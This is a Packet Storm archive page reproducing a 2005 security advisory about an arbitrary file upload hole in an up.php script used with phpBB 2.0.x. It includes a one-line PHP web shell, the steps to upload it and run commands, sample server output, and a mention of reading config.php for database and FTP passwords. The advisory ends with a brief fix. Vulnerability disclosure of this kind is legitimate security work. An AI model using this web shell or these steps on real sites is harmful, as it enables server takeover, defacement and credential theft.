exploit the possibilities

phpBBupload.txt

phpBBupload.txt
Posted Apr 17, 2005
Authored by Status-x

The up.php script in phpBB 2.0.x allows malicious remote attackers to upload files and execute them with the permissions of the webserver uid.

tags | exploit, remote, php
MD5 | 78c28129d09b1486d7655ac6c6719ad0

phpBBupload.txt

Change Mirror Download
#####################################################################

Advisory #1 "phpBB Upload Script "up.php" Arbitrary File Upload"

$ Author: Status-x
$ Contact: phr4xz@gmail.com - status-x@hackersoft.net
$ Date: 7 April 2005
$ Website: http://defacers.com.mx
$ Original Advisory: http://www.defacers.com.mx/advisories/2.txt
$ Risk: High
$ Vendor URL: http://phpbb.com

$ Affected Software: phpBB 2.0.x

Note: Sorry if it has been posted before

#####################################################################

-= Description =-

phpBB its a forums system written in php which can support images, polls,

private messages and more

http://www.phpbb.com

---------------------------------------------------------------------------

-= Vulnerabilities =-


- | "Arbitrary File Upload" |


In phpBB forums there is an script which can allow to remote and registered

users to upload files with arbitrary content and with any extension.

I didnt found any website where i can download the script so i couldnt

check who made it.



- | Examples: |


We can create and example code to upload it to the "test site"


<?

system($cmd)

?>


And save it as cmd.php. The we enter to:

--------------------------

http://target/phpbb/up.php

--------------------------


And upload our code, to see our file we just enter to:

-----------------------------------

http://targey/phpbb/uploads/cmd.php

-----------------------------------


And we could see that our file has been uploaded:



Warning: system(): Cannot execute a blank command in
/home/target/public_html/forum/uploads/tetx.php on line 2


The we can execute *NIX commands to obtain extremely compromising info

that could end with the "deface" of the affected site:

-----------------------------------------------------

Linux SERVER 2.4.21-4.0.1.ELsmp #1 SMP
Thu Oct 23 01:27:36 EDT 2003 i686 i686 i386 GNU/Linux
/home/target/public_html/forum/uploads
uid=32029(target) gid=530(target) groups=530(target)

------------------------------------------------------

This is just an example to what can be done by a malicious attacker.


- | "Password Disclosure" |


The remote or local attacker can also read the config.php file disclosing

the information about the DB and possible the FTP password


------------------------------------------------------

Example

-= How to FIX =-

Just filter the allowed extensions of the uploaded files in the up.php

source.


-= Contact =-

Status-x

phr4xz@gmail.com

http://www.defacers.com.mx
Login or Register to add favorites

File Archive:

December 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    18 Files
  • 2
    Dec 2nd
    11 Files
  • 3
    Dec 3rd
    23 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close